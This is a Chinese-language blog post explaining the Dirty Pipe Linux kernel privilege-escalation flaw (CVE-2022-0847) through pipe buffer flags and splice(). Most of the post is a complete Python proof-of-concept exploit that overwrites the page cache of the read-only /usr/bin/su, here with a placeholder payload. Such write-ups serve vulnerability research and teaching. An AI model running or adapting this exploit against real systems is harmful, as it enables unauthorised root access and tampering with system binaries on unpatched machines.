Cheug's Blog

当前位置:网站首页 / 技术积累 / 正文

Linux内核Dirty Pipe越权漏洞

2026-05-08 / 技术积累 / 6 次围观 / 0 次吐槽 /

1. 漏洞简介

Dirty Pipe (CVE-2022-0847) 是 Linux 内核自 5.8 版本以来存在的一个高危本地提权漏洞。它的威力在于:允许非特权用户篡改只读文件中的数据


2. 技术核心

  1. 管道缓冲区合并:为了效率,内核在管道中设置了 PIPE_BUF_FLAG_CAN_MERGE 标志位。它告诉内核:“这个缓冲区还有空间,接下来的数据可以合并进来”。

  2. Splice 的零拷贝splice() 系统调用可以将文件内容直接“重定向”到管道。此时,管道并不拷贝数据,而是直接指向文件的 Page Cache(页面缓存)

  3. 漏洞点:内核在执行 splice() 时,未能正确重置之前的 CAN_MERGE 标志位。


3. 漏洞执行方案

该脚本通过 ctypes 直接调用底层 C 库,解决了 Python 高级库对系统调用支持不全的问题。

关键阶段拆解:

  • 准备阶段 (os.pipe):创建一个匿名管道。

  • 激活阶段 (Fill & Drain)


    os.write(p_write, b"A" * PIPE_SIZE)      # 填满管道
  • os.read(p_read, PIPE_SIZE)         # 排空管道

    这一步是为了确保管道中的每一个缓存条目都带上了 CAN_MERGE 标志位。

  • 嫁接阶段 (splice): 将目标文件(如 /usr/bin/su)的 1 字节内容通过零拷贝拉入管道。此时管道缓冲区指向了文件的只读页面缓存。

  • 注入阶段 (os.write): 由于标志位遗留,随后的 write 会直接覆盖内存中的 Page Cache。


# 执行观察命令
strace -e pipe,read,write,splice python test.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function
import os
import sys
import ctypes

# 加载标准 C 库
libc = ctypes.CDLL("libc.so.6", use_errno=True)

def c_splice(fd_in, off_in, fd_out, off_out, length, flags):
    """手动封装 splice 系统调用"""
    # off_in 和 off_out 必须是指向 loff_t 的指针,或者为 None (NULL)
    off_in_ptr = ctypes.byref(ctypes.c_longlong(off_in)) if off_in is not None else None
    off_out_ptr = ctypes.byref(ctypes.c_longlong(off_out)) if off_out is not None else None
    
    res = libc.splice(fd_in, off_in_ptr, fd_out, off_out_ptr, length, flags)
    if res == -1:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return res

def exploit(target_path, offset, payload):
    print("[*] 准备目标文件: %s" % target_path)
    try:
        fd_target = os.open(target_path, os.O_RDONLY)
    except Exception as e:
        print("[-] 无法打开目标: %s" % e)
        return

    # 1. 创建管道
    p_read, p_write = os.pipe()
    
    # 2. 准备管道缓冲区 (Dirty Pipe 核心:填满并排空以设置标志位)
    # 默认管道大小通常为 65536
    PIPE_SIZE = 65536
    print("[*] 填满并排空管道缓冲区...")
    
    # 填满
    buf = b"A" * PIPE_SIZE
    os.write(p_write, buf)
    
    # 排空
    # 注意:在 Python 中循环读取,直到排空
    remaining = PIPE_SIZE
    while remaining > 0:
        chunk = os.read(p_read, min(remaining, 4096))
        remaining -= len(chunk)

    # 3. 执行 Splice:将目标文件内容“嫁接”到管道
    # 这是越权的关键点:将只读文件的页面缓存引入管道缓冲区
    print("[*] 执行关键系统调用: splice()")
    try:
        # 我们从 offset-1 的位置读取 1 字节
        c_splice(fd_target, offset - 1, p_write, None, 1, 0)
    except Exception as e:
        print("[-] splice 失败: %s" % e)
        return

    # 4. 写入 Payload
    # 如果漏洞存在且标志位遗留,这里的写入会直接覆盖 Page Cache
    print("[*] 执行写入注入: write()")
    try:
        n = os.write(p_write, payload)
        if n == len(payload):
            print("[+] 注入指令已发出。")
        else:
            print("[-] 写入长度不完整")
    except Exception as e:
        print("[-] 写入失败: %s" % e)

    os.close(p_read)
    os.close(p_write)
    os.close(fd_target)

if __name__ == "__main__":
    TARGET_FILE = "/usr/bin/su"
    OFFSET = 1 
    # 确保 Payload 是字节类型
    PAYLOAD_DATA = b"\x42\x42\x42\x42" 

    print("[*] Dirty Pipe 研究脚本启动...")
    exploit(TARGET_FILE, OFFSET, PAYLOAD_DATA)


Powered By Cheug's Blog

Copyright Cheug Rights Reserved.